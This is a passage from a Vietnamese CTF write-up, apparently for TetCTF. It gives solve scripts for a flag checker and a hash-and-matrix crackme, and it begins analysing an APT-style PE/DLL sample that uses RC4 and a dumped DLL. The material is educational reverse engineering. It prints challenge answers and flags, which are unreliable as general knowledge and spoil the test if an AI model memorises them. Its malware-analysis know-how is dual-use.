    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>, <span class="hljs-number">27</span>):
        array_obj[i - <span class="hljs-number">7</span>] = ord(input_text[i]) + <span class="hljs-number">19</span> + <span class="hljs-number">64</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">process</span>():</span>
    temp = array_obj[<span class="hljs-number">0</span>] + global_arr[<span class="hljs-number">0</span>]
    temp += array_obj[<span class="hljs-number">1</span>]
    temp ^= <span class="hljs-number">32</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">1</span>] = temp

    temp = array_obj[<span class="hljs-number">1</span>] - global_arr[<span class="hljs-number">1</span>]
    temp += array_obj[<span class="hljs-number">2</span>]
    temp ^= <span class="hljs-number">36</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">2</span>] = temp

    temp = array_obj[<span class="hljs-number">2</span>] * global_arr[<span class="hljs-number">2</span>]
    temp += array_obj[<span class="hljs-number">3</span>]
    temp ^= <span class="hljs-number">19</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">3</span>] = temp

    temp = array_obj[<span class="hljs-number">3</span>] ^ global_arr[<span class="hljs-number">3</span>]
    temp += array_obj[<span class="hljs-number">0</span>]
    temp ^= <span class="hljs-number">55</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">0</span>] = temp

    temp = array_obj[<span class="hljs-number">4</span>] + global_arr[<span class="hljs-number">4</span>]
    temp += array_obj[<span class="hljs-number">5</span>]
    temp ^= <span class="hljs-number">32</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">5</span>] = temp

    temp = array_obj[<span class="hljs-number">5</span>] - global_arr[<span class="hljs-number">5</span>]
    temp += array_obj[<span class="hljs-number">6</span>]
    temp ^= <span class="hljs-number">36</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">6</span>] = temp

    temp = array_obj[<span class="hljs-number">6</span>] * global_arr[<span class="hljs-number">6</span>]
    temp += array_obj[<span class="hljs-number">7</span>]
    temp ^= <span class="hljs-number">19</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">7</span>] = temp

    temp = array_obj[<span class="hljs-number">7</span>] ^ global_arr[<span class="hljs-number">7</span>]
    temp += array_obj[<span class="hljs-number">4</span>]
    temp ^= <span class="hljs-number">55</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">4</span>] = temp

    temp = array_obj[<span class="hljs-number">8</span>] + global_arr[<span class="hljs-number">8</span>]
    temp += array_obj[<span class="hljs-number">9</span>]
    temp ^= <span class="hljs-number">32</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">9</span>] = temp

    temp = array_obj[<span class="hljs-number">9</span>] - global_arr[<span class="hljs-number">9</span>]
    temp += array_obj[<span class="hljs-number">10</span>]
    temp ^= <span class="hljs-number">36</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">10</span>] = temp

    temp = array_obj[<span class="hljs-number">10</span>] * global_arr[<span class="hljs-number">10</span>]
    temp += array_obj[<span class="hljs-number">11</span>]
    temp ^= <span class="hljs-number">19</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">11</span>] = temp

    temp = array_obj[<span class="hljs-number">11</span>] ^ global_arr[<span class="hljs-number">11</span>]
    temp += array_obj[<span class="hljs-number">8</span>]
    temp ^= <span class="hljs-number">55</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">8</span>] = temp

    temp = array_obj[<span class="hljs-number">12</span>] + global_arr[<span class="hljs-number">12</span>]
    temp += array_obj[<span class="hljs-number">13</span>]
    temp ^= <span class="hljs-number">32</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">13</span>] = temp

    temp = array_obj[<span class="hljs-number">13</span>] - global_arr[<span class="hljs-number">13</span>]
    temp += array_obj[<span class="hljs-number">14</span>]
    temp ^= <span class="hljs-number">36</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">14</span>] = temp

    temp = array_obj[<span class="hljs-number">14</span>] * global_arr[<span class="hljs-number">14</span>]
    temp += array_obj[<span class="hljs-number">15</span>]
    temp ^= <span class="hljs-number">19</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">15</span>] = temp

    temp = array_obj[<span class="hljs-number">15</span>] ^ global_arr[<span class="hljs-number">15</span>]
    temp += array_obj[<span class="hljs-number">12</span>]
    temp ^= <span class="hljs-number">55</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">12</span>] = temp

    temp = array_obj[<span class="hljs-number">16</span>] + global_arr[<span class="hljs-number">16</span>]
    temp += array_obj[<span class="hljs-number">17</span>]
    temp ^= <span class="hljs-number">32</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">17</span>] = temp

    temp = array_obj[<span class="hljs-number">17</span>] - global_arr[<span class="hljs-number">17</span>]
    temp += array_obj[<span class="hljs-number">18</span>]
    temp ^= <span class="hljs-number">36</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">18</span>] = temp

    temp = array_obj[<span class="hljs-number">18</span>] * global_arr[<span class="hljs-number">18</span>]
    temp += array_obj[<span class="hljs-number">19</span>]
    temp ^= <span class="hljs-number">19</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">19</span>] = temp

    temp = array_obj[<span class="hljs-number">19</span>] ^ global_arr[<span class="hljs-number">19</span>]
    temp += array_obj[<span class="hljs-number">16</span>]
    temp ^= <span class="hljs-number">55</span>
    temp += (<span class="hljs-number">19</span> + <span class="hljs-number">64</span>)
    array_obj[<span class="hljs-number">16</span>] = temp


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check</span>():</span>
    target = [<span class="hljs-number">38793</span>, <span class="hljs-number">584</span>, <span class="hljs-number">738</span>, <span class="hljs-number">38594</span>, <span class="hljs-number">63809</span>, <span class="hljs-number">647</span>, <span class="hljs-number">833</span>, <span class="hljs-number">63602</span>, <span class="hljs-number">47526</span>, <span class="hljs-number">494</span>, <span class="hljs-number">663</span>, <span class="hljs-number">47333</span>, <span class="hljs-number">67041</span>, <span class="hljs-number">641</span>, <span class="hljs-number">791</span>, <span class="hljs-number">66734</span>, <span class="hljs-number">35553</span>, <span class="hljs-number">561</span>, <span class="hljs-number">673</span>, <span class="hljs-number">35306</span>]
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">20</span>):
        <span class="hljs-keyword">if</span> array_obj[i] != target[i]:
            <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>



input_text = input(<span class="hljs-string">"Enter the flag: "</span>)
<span class="hljs-keyword">if</span> input_text.startswith(<span class="hljs-string">"TetCTF{"</span>) <span class="hljs-keyword">and</span> input_text.endswith(<span class="hljs-string">"}"</span>) <span class="hljs-keyword">and</span> len(input_text) == <span class="hljs-number">27</span>:
    init()
    fill_array(input_text)
    process()
    <span class="hljs-keyword">if</span> check():
        print(<span class="hljs-string">"Correct!"</span>)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">"Incorrect!"</span>)
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">"Incorrect!"</span>)
</code></pre>
<p>Tôi nhận ra chương trình nó xử lý từng nhóm 4 phần tử của <code>array_obj</code>. Từng nhóm một, không ảnh hưởng đến nhóm khác.</p>
<p>Do đó lúc giải mã cũng chỉ cần xử lý từng nhóm 4 phần tử của <code>target</code> để tìm ra flag.</p>
<pre><code class="lang-python">flag = <span class="hljs-string">""</span>
target = [<span class="hljs-number">38793</span>, <span class="hljs-number">584</span>, <span class="hljs-number">738</span>, <span class="hljs-number">38594</span>, <span class="hljs-number">63809</span>, <span class="hljs-number">647</span>, <span class="hljs-number">833</span>, <span class="hljs-number">63602</span>, <span class="hljs-number">47526</span>, <span class="hljs-number">494</span>, <span class="hljs-number">663</span>, <span class="hljs-number">47333</span>, <span class="hljs-number">67041</span>, <span class="hljs-number">641</span>, <span class="hljs-number">791</span>, <span class="hljs-number">66734</span>, <span class="hljs-number">35553</span>, <span class="hljs-number">561</span>, <span class="hljs-number">673</span>, <span class="hljs-number">35306</span>]

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(target), <span class="hljs-number">4</span>):
    arr0 = target[i]
    arr1 = target[i + <span class="hljs-number">1</span>]
    arr2 = target[i + <span class="hljs-number">2</span>]
    arr3 = target[i + <span class="hljs-number">3</span>]

    flag2 = ((arr2 - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>) ^ <span class="hljs-number">36</span>) - (arr1 - global_arr[i + <span class="hljs-number">1</span>]) - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>
    flag3 = ((arr3 - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>) ^ <span class="hljs-number">19</span>) - (arr2 * global_arr[i + <span class="hljs-number">2</span>]) - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>
    flag0 = ((arr0 - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>) ^ <span class="hljs-number">55</span>) - (arr3 ^ global_arr[i + <span class="hljs-number">3</span>]) - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>
    flag1 = ((arr1 - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>) ^ <span class="hljs-number">32</span>) - (flag0 + <span class="hljs-number">19</span> + <span class="hljs-number">64</span> + global_arr[i]) - <span class="hljs-number">19</span> - <span class="hljs-number">64</span>

    <span class="hljs-keyword">try</span>:
        flag += chr(flag0)
        flag += chr(flag1)
        flag += chr(flag2)
        flag += chr(flag3)
    <span class="hljs-keyword">except</span>:
        print(<span class="hljs-string">"error"</span>)
        <span class="hljs-keyword">break</span>

flag = <span class="hljs-string">"TetCTF{"</span> + flag + <span class="hljs-string">"}"</span>
print(flag)

<span class="hljs-comment"># TetCTF{WebAss3mblyMystique}</span>
</code></pre>
<p>flag: <code>TetCTF{WebAss3mblyMystique}</code></p>
<h2 id="heading-warm-up"><strong>Warm up</strong></h2>
<p><strong><em>credit: Hansha29</em></strong></p>
<p>Load file vào Ida, mình nhận thấy rằng bài này có flow khá đơn giản. Ta chỉ nhần nhập vào input là nội dung trong flag, chương trình sẽ kiểm trả đúng tra và trả ra kết quả tương úng cho mình</p>
<p><img src="https://hackmd.io/_uploads/S14RLlUqp.png" alt="image" /></p>
<p>Hmmm, nhưng với 1 giải có độ khó cao như này thì mình nghĩ là nó không dễ như vậy được, nên là đã tiến hành kiểm tra xem hàm check có gì không</p>
<p>Hàm <code>check</code>:</p>
<p><img src="https://hackmd.io/_uploads/SJKQvg89p.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/H1vBwgIcT.png" alt="image" /></p>
<p>Như vậy ta thấy được rằng hàm check cũng không phải là ăn liền được như ta nghĩ. Vậy hãy đi phân tích lần lượt</p>
<p><img src="https://hackmd.io/_uploads/SkMGcgU9T.png" alt="image" class="image--center mx-auto" /></p>
<p>Trước hết, ta có thể thấy được rằng độ dài của key phải là <code>84</code> nếu không sẽ trả về <code>Wrong</code></p>
<p><img src="https://hackmd.io/_uploads/BkUZseL56.png" alt="image" class="image--center mx-auto" /></p>
<p>Từ đoạn này có thể thấy, chương trình gán cho biến <code>charset</code> 1 string có 20 kí tự là <code>!_acdefghilmnoprstuwy</code>, tiếp theo đó, nó sẽ duyệt từng kí tự trong chuỗi mà ta nhập vào, nếu như có bất kể 1 tí tự nào không có trong <code>!_acdefghilmnoprstuwy</code> thì chương trình sẽ trả về <code>Wrong</code>. Nói 1 cách đơn giản nhất thì các ký tự của <code>key</code> mà ta nhập vào sẽ nằm trong giá trị của biến <code>charset</code> kia</p>
<p><img src="https://hackmd.io/_uploads/r1lKRxUca.png" alt="image" class="image--center mx-auto" /></p>
<p>Tiếp theo, có vẻ như chương trình thực hiện làm gì đó với đầu vào mà ta nhập, nhưng mà đê biết nó làm gì thì ta phải kiểm tra cho chắc chắn</p>
<p><img src="https://hackmd.io/_uploads/rJ1QxGL5T.png" alt="image" class="image--center mx-auto" /></p>
<p>Ở đây ta có thể thấy được là chương trình có làm gì đó với <code>key</code> mà ta nhập vào. Mình vào xem hàm <code>hash_64_fnv1a</code> là gì trước</p>
<p>Hàm <code>hash_64_fnv1a</code>:</p>
<p><img src="https://hackmd.io/_uploads/S1qYYQ8cT.png" alt="image" class="image--center mx-auto" /></p>
<p>Mình thử mò tìm trên github cái hộ số trên kia xem có manh mối gì không, thì kết quả ra được source của hàm trên, nhưng tác giả đã custom nó đi 1 chút. Bạn có thể xem source của hàm mã hóa <a target="_blank" href="https://gist.github.com/gmh5225/cbe40345a9400b01329e025478ffb826">tại đây</a></p>
<p>Tiếp tục phân tích, nhìn qua thì mình liên tưởng đến đây là tích của 2 ma trận với nhau với đội lớn lần lượt là [21x21]*[1x21] với hệ số là kết quả của <code>xorshift128() % 1024</code> với <code>v2</code>. Mà <code>v2</code> mang giá trị là <code>v9</code> aka kết quả của hàm <code>hash_64_fnv1a</code>.</p>
<p>Mình vào xem hàm <code>xorshift128</code> xem có sao. Thì thấy nó sử dụng cái giá trị của các biến <code>x, y, z, w</code> được khai báo ở bên ngoài</p>
<p>Hàm <code>xorshift128</code>:</p>
<p><img src="https://hackmd.io/_uploads/SyC4lE85a.png" alt="image" /></p>
<p>Mình viết 1 script để gen hết các hệ số ra:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *

x = <span class="hljs-number">0x75BCD15</span>
y = <span class="hljs-number">0x159A55E5</span>
z = <span class="hljs-number">0x1F123BB5</span>
w = <span class="hljs-number">0xDEADBEEF</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xorshift128</span>():</span>
    <span class="hljs-keyword">global</span> x, y, z, w
    t = x
    t ^= t &lt;&lt; <span class="hljs-number">11</span>
    t = t &amp; <span class="hljs-number">0xFFFFFFFF</span>
    t ^= t &gt;&gt; <span class="hljs-number">8</span>
    t = t &amp; <span class="hljs-number">0xFFFFFFFF</span>
    x = y
    y = z
    z = w
    w ^= w &gt;&gt; <span class="hljs-number">19</span>
    w = w &amp; <span class="hljs-number">0xFFFFFFFF</span>
    w ^= t
    <span class="hljs-keyword">return</span> w

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, <span class="hljs-number">0x15</span>):
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, <span class="hljs-number">0x15</span>):
        tmp = c_int(xorshift128())
        hso = tmp.value &amp; <span class="hljs-number">0x3ff</span>
        <span class="hljs-keyword">if</span> tmp.value &lt; <span class="hljs-number">0</span>:
            hso = -(<span class="hljs-number">1024</span> - hso)
        print(hso,end= <span class="hljs-string">", "</span>)
</code></pre>
<p>Hệ số(ma trận [21x21]):</p>
<pre><code class="lang-plaintext">842, -198, 778, -259, -73, -935, 739, 703, 595, 906, -888, -669, -616, 983, 136, 565, 413, -797, 802, 534, -122, 612, -180, -903, 57, 672, -406, 326, -328, -328, 169, -626, -196, 571, 519, -156, 649, 890, 616, 662, -239, 121, 812, 273, -766, 562, 694, 1004, -91, 872, -13, 8, -425, 603, -65, -142, -254, -757, 812, -648, 325, 877, 587, -351, 237, 242, -748, 364, 508, -988, -591, -871, 242, -220, 755, 373, -329, -462, 906, 636, 132, -65, 20, 655, -332, -335, -311, 593, -724, 540, -298, 951, 671, 117, 431, 156, 276, -51, 482, 667, 987, -735, -420, -449, -292, -609, -261, -928, -151, -68, -939, -550, -592, 924, 93, -529, -179, -68, -323, -848, -757, 767, 504, -58, -48, -382, 611, -196, -877, 292, -788, 520, 866, 639, 583, 610, 895, 456, -625, -993, 633, -940, 496, 942, 944, 999, 417, 383, -595, 712, -138, -878, 488, -740, -135, -854, 145, -416, 280, 638, 249, 292, 575, -166, 808, -309, -544, -769, 536, 378, 8, -504, 685, -899, 778, 48, -468, -414, -369, 40, 684, -848, -171, 186, 312, -831, -34, -591, -891, 0, -313, 278, -358, 674, -495, -946, 145, -1012, 147, 651, 178, -1019, 490, 840, -557, 141, -408, -917, -444, 825, -1016, 713, -36, 668, 1013, -724, -1005, -395, 935, -933, 625, -257, -852, 1003, 137, 69, -794, -712, -83, 913, 1018, -700, 221, 507, -382, -42, -520, -398, 156, 656, -637, -67, -946, 818, 535, 1005, 957, -803, -937, 23, 774, 34, 49, -80, -247, -543, 128, -986, -311, 718, 513, -640, -124, 593, -376, -428, 134, -699, 929, -611, -866, -13, 992, -335, 672, -462, -366, -663, 392, 928, -20, -572, -237, -697, 854, 146, 922, 764, 402, 993, 243, -857, -362, 620, -74, -758, 535, 210, 372, -888, 633, -134, 657, -203, -245, -844, -562, 519, 589, -908, -111, 855, 986, 535, 782, -638, -618, 94, 33, -668, 102, -869, 135, -135, 267, -439, 620, -408, -832, -688, 893, 937, 630, 536, -213, 214, -460, -596, -141, 640, 547, 854, -984, -806, -1017, 812, -366, 72, 1000, -467, 579, -84, 269, 175, -846, -879, -356, -739, 529, -545, -1014, -714, 181, 840, -787, 57, -86, 344, 599, -996, 694, -627, 606, 768, -492, -352, 355, 333, -748, -606, -176, 153, -926, 778, -716, 175, 978, 514, 669, -368, -194, 723, -897, -78, 370, -271, -616, 123, -184, -341, -818, -502, 660, -856, -675, 359, 855, 151, 594, -521, -768, -866, 44, 637, -282, -998, 919, -370, -427, 829, -865, -727, -121, 464, 436, -1004, 943, -62, -239, -796, -806, -930, 811, 301, -138, -371, 175, 684, -31, -446, 975
</code></pre>
<p>Sau khi có được hệ số và có được ma trận check bên dưới thì mình sử dụng sage để tính toán các giá trị của ma trận [1x21]</p>
<pre><code class="lang-plaintext">X = [[842, -198, 778, -259, -73, -935, 739, 703, 595, 906, -888, -669, -616, 983, 136, 565, 413, -797, 802, 534, -122], [612, -180, -903, 57, 672, -406, 326, -328, -328, 169, -626, -196, 571, 519, -156, 649, 890, 616, 662, -239, 121], [812, 273, -766, 562, 694, 1004, -91, 872, -13, 8, -425, 603, -65, -142, -254, -757, 812, -648, 325, 877, 587], [-351, 237, 242, -748, 364, 508, -988, -591, -871, 242, -220, 755, 373, -329, -462, 906, 636, 132, -65, 20, 655], [-332, -335, -311, 593, -724, 540, -298, 951, 671, 117, 431, 156, 276, -51, 482, 667, 987, -735, -420, -449, -292], [-609, -261, -928, -151, -68, -939, -550, -592, 924, 93, -529, -179, -68, -323, -848, -757, 767, 504, -58, -48, -382], [611, -196, -877, 292, -788, 520, 866, 639, 583, 610, 895, 456, -625, -993, 633, -940, 496, 942, 944, 999, 417], [383, -595, 712, -138, -878, 488, -740, -135, -854, 145, -416, 280, 638, 249, 292, 575, -166, 808, -309, -544, -769], [536, 378, 8, -504, 685, -899, 778, 48, -468, -414, -369, 40, 684, -848, -171, 186, 312, -831, -34, -591, -891], [0, -313, 278, -358, 674, -495, -946, 145, -1012, 147, 651, 178, -1019, 490, 840, -557, 141, -408, -917, -444, 825], [-1016, 713, -36, 668, 1013, -724, -1005, -395, 935, -933, 625, -257, -852, 1003, 137, 69, -794, -712, -83, 913, 1018], [-700, 221, 507, -382, -42, -520, -398, 156, 656, -637, -67, -946, 818, 535, 1005, 957, -803, -937, 23, 774, 34], [49, -80, -247, -543, 128, -986, -311, 718, 513, -640, -124, 593, -376, -428, 134, -699, 929, -611, -866, -13, 992], [-335, 672, -462, -366, -663, 392, 928, -20, -572, -237, -697, 854, 146, 922, 764, 402, 993, 243, -857, -362, 620], [-74, -758, 535, 210, 372, -888, 633, -134, 657, -203, -245, -844, -562, 519, 589, -908, -111, 855, 986, 535, 782], [-638, -618, 94, 33, -668, 102, -869, 135, -135, 267, -439, 620, -408, -832, -688, 893, 937, 630, 536, -213, 214], [-460, -596, -141, 640, 547, 854, -984, -806, -1017, 812, -366, 72, 1000, -467, 579, -84, 269, 175, -846, -879, -356], [-739, 529, -545, -1014, -714, 181, 840, -787, 57, -86, 344, 599, -996, 694, -627, 606, 768, -492, -352, 355, 333], [-748, -606, -176, 153, -926, 778, -716, 175, 978, 514, 669, -368, -194, 723, -897, -78, 370, -271, -616, 123, -184], [-341, -818, -502, 660, -856, -675, 359, 855, 151, 594, -521, -768, -866, 44, 637, -282, -998, 919, -370, -427, 829], [-865, -727, -121, 464, 436, -1004, 943, -62, -239, -796, -806, -930, 811, 301, -138, -371, 175, 684, -31, -446, 975]]
Y = [-622472985781, 443256199922, 4804862013484, -1990292653755, 1716071043623, 2612697655413, 2853361699824, -8094556971432, -1289445257418, -1552556399857, 6101836644339, -3508582733213, -1821100477986, -6183692404382, -581895255209, 311783905729, -1403558929228, 948885246100, 3711633763399, -1222346925610, -2460365508509]

X = matrix(ZZ, X)
Y = vector(Y)
A = X.solve_right(Y)

assert X*A == Y
print(A)
</code></pre>
<p><img src="https://hackmd.io/_uploads/BkD50EL96.png" alt="image" /></p>
<p>Sau khi tính toán được thì ta có kết quả của ma trận [1x21] như sau:</p>
<pre><code class="lang-plaintext">-831904645, 842869369, -1872719316, 1874430657, 1643673264, 842869369, -224886681, 51900271, 1261422793, 1041996681, 1470239221, -532720492, -1467227862, -288608497, -1819333551, -356927857, -47355757, -1525362217, 2055041019, -986512317, 72314917
</code></pre>
<p>Việc cuối cùng của ta bây giờ là brute-force dựa trên charset đã có, vì hàm <code>hash_64_fnv1a</code> có sẵn trong python rồi nên ta không phải code lại nó nữa mà chỉ việc gọi nó ra thôi</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> fnvhash <span class="hljs-keyword">import</span> fnv1a_64

charset = <span class="hljs-string">b"!_acdefghilmnoprstuwy"</span>

check = [<span class="hljs-number">-831904645</span>, <span class="hljs-number">842869369</span>, <span class="hljs-number">-1872719316</span>, <span class="hljs-number">1874430657</span>, <span class="hljs-number">1643673264</span>, <span class="hljs-number">842869369</span>, <span class="hljs-number">-224886681</span>, <span class="hljs-number">51900271</span>, <span class="hljs-number">1261422793</span>, <span class="hljs-number">1041996681</span>, <span class="hljs-number">1470239221</span>, <span class="hljs-number">-532720492</span>, <span class="hljs-number">-1467227862</span>, <span class="hljs-number">-288608497</span>, <span class="hljs-number">-1819333551</span>, <span class="hljs-number">-356927857</span>, <span class="hljs-number">-47355757</span>, <span class="hljs-number">-1525362217</span>, <span class="hljs-number">2055041019</span>, <span class="hljs-number">-986512317</span>, <span class="hljs-number">72314917</span>]

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">21</span>):
    <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> charset:
        <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> charset:
            <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> charset:
                <span class="hljs-keyword">for</span> d <span class="hljs-keyword">in</span> charset:
                    <span class="hljs-keyword">if</span> c_int32(fnv1a_64((chr(a) + chr(b) + chr(c) + chr(d)).encode())).value == check[i]:
                        print(((chr(a) + chr(b) + chr(c) + chr(d)).encode()).decode(),end=<span class="hljs-string">""</span>)

<span class="hljs-comment">#may_the_lanterns_of_the_lunar_new_year_light_up_your_path_to_success_and_happiness!!</span>
</code></pre>
<p><img src="https://hackmd.io/_uploads/Syb9U4LqT.png" alt="image" /></p>
<h2 id="heading-advanced-persistent-threat"><strong>Advanced Persistent Threat</strong></h2>
<p>Trước tiên mình xem thư mục <code>Sample</code> trước, thấy có 1 con PE và 1 con DLL. Mình xem con PE trước thì nó chỉ có 3 hàm, và nó gọi 1 hàm tên là <code>ServiceCtrMain</code></p>
<p>Trong con PE:</p>
<p><img src="https://hackmd.io/_uploads/HJyOZDLqT.png" alt="image" /></p>
<p>Trong con DLL:</p>
<p><img src="https://hackmd.io/_uploads/B1NJGP89a.png" alt="image" /></p>
<p>Hàm <code>sub_10001060</code>:</p>
<p><img src="https://hackmd.io/_uploads/S1QqfPU56.png" alt="image" /></p>
<p>Hàm <code>sub_1000110D</code>:</p>
<p><img src="https://hackmd.io/_uploads/B1TjMwI96.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SyT2GwL9T.png" alt="image" /></p>
<p>Hàm <code>sub_1000110D</code> là mã hóa RC4, 1 loại mã hóa đối xứng phổ biến, bạn có thể xem mã nguồn của nó ở bất kì đâu trên github hoặc <a target="_blank" href="https://gist.github.com/rverton/a44fc8ca67ab9ec32089">tại đây</a></p>
<p>Mình thấy ở đây, nó mở file <code>AmMonitoringProvider.mof</code> rồi decrypt, thì ta để ý ở đây, biến <code>v1</code> được gán cho giá trị trả về của hàm <code>sub_10001060</code> mà giá trị của hàm <code>sub_10001060</code> trả về lại là địa chỉ của 1 vùng nhớ nào đó. Mình quyết định nhảy tới xem nó là gì. Thì nó lại jump tới 1 địa chỉ khác. Tại địa chỉ đó có 1 hàm check signature của 1 file nào đó (khả năng cao là 1 con dll khác).</p>
<p><img src="https://hackmd.io/_uploads/ryVtgTv56.png" alt="image" /></p>
<p>Nên mình quyết định phân tích tiếp từ đó, ở ngay bên trên đó có 1 đoạn base64 trông khá là khả nghi, mình thử decode thì nó ra như này :D</p>
<p><img src="https://hackmd.io/_uploads/BJ0fgav56.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/Sy8JepPcT.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rkVOvy_q6.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SJD5w1_9p.png" alt="image" /></p>
<p>Okay, giờ tiếp tục phân tích hàm có đoạn check signature, mình debug 1 hồi, thì thấy các hàm được call ở kia không quan trọng lắm, cho đến khi mình thử debug qua đoạn biến <code>v30</code> thì bị crash, mình tiến hành thử debug lại xem nó crash ở đoạn nào</p>
<p><img src="https://hackmd.io/_uploads/Bk3juJ_qT.png" alt="image" /></p>
<p>Khi mình cho chương trình chạy qua hàm <code>sub_E42AA2</code>, thì chương trình vẫn không sao, vậy thì hàm <code>sub_E428C2</code> sẽ khiến ta bị crash. Mình tiến hành đi vào trong hàm đó phân tích tiếp</p>
<p><img src="https://hackmd.io/_uploads/SJ4wKk_ca.png" alt="image" /></p>
<p>Thì ở trong hàm <code>sub_E41CE6</code> có 1 thứ khá thú vị như sau</p>
<p><img src="https://hackmd.io/_uploads/r1hpqydcp.png" alt="image" /></p>
<p>Nó lại gọi lại 1 hàm giống như hàm LineDDA như ở bên ngoài 1 lần nữa, đây là lý do làm cho ta bị crash. Mình lại vào đó để phân tích hàm <code>sub_E41D4B</code></p>
<p><img src="https://hackmd.io/_uploads/HkKGhJOcp.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SkSQnk_cp.png" alt="image" /></p>
<p>Nên mình quyết định dump ra 1 con dll mới đế tiến hành debug tiếp cho tiện, vì flow trước đó cũng chỉ có vậy.</p>
<p>Con dll được dump ra:</p>
<p><img src="https://hackmd.io/_uploads/rJmODtuca.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/HJAtPKOcp.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/Hkp9vYO5a.png" alt="image" /></p>
<p>Trông đống array kia giống như 1 struct, nên mình tạo struct trước, debug, và qua nhiều lần thì mình có tạo struct cho dễ nhìn như sau</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> __stdcall __noreturn <span class="hljs-title">Proc</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a1, <span class="hljs-keyword">int</span> a2, LPARAM a3)</span>
</span>{
  struc_1 *v3; <span class="hljs-comment">// edi</span>
  struc_2 *v4; <span class="hljs-comment">// edx</span>
  <span class="hljs-keyword">int</span> v5; <span class="hljs-comment">// eax</span>
  _DWORD *v6; <span class="hljs-comment">// esi</span>
  _DWORD *v7; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">char</span> *v8; <span class="hljs-comment">// [esp-Ch] [ebp-5Ch] BYREF</span>
  <span class="hljs-keyword">size_t</span> v9; <span class="hljs-comment">// [esp-8h] [ebp-58h]</span>
  struc_1 v10; <span class="hljs-comment">// [esp+10h] [ebp-40h] BYREF</span>
  <span class="hljs-keyword">void</span> *Block; <span class="hljs-comment">// [esp+30h] [ebp-20h]</span>
  <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *v12[<span class="hljs-number">6</span>]; <span class="hljs-comment">// [esp+34h] [ebp-1Ch] BYREF</span>
  <span class="hljs-keyword">int</span> v13; <span class="hljs-comment">// [esp+4Ch] [ebp-4h]</span>

  <span class="hljs-keyword">if</span> ( !pAPI )
  {
    v10.<span class="hljs-built_in">memset</span> = (<span class="hljs-keyword">int</span>)<span class="hljs-built_in">memset</span>;
    v3 = (struc_1 *)<span class="hljs-keyword">operator</span> <span class="hljs-keyword">new</span>(<span class="hljs-number">0x1C</span>u);
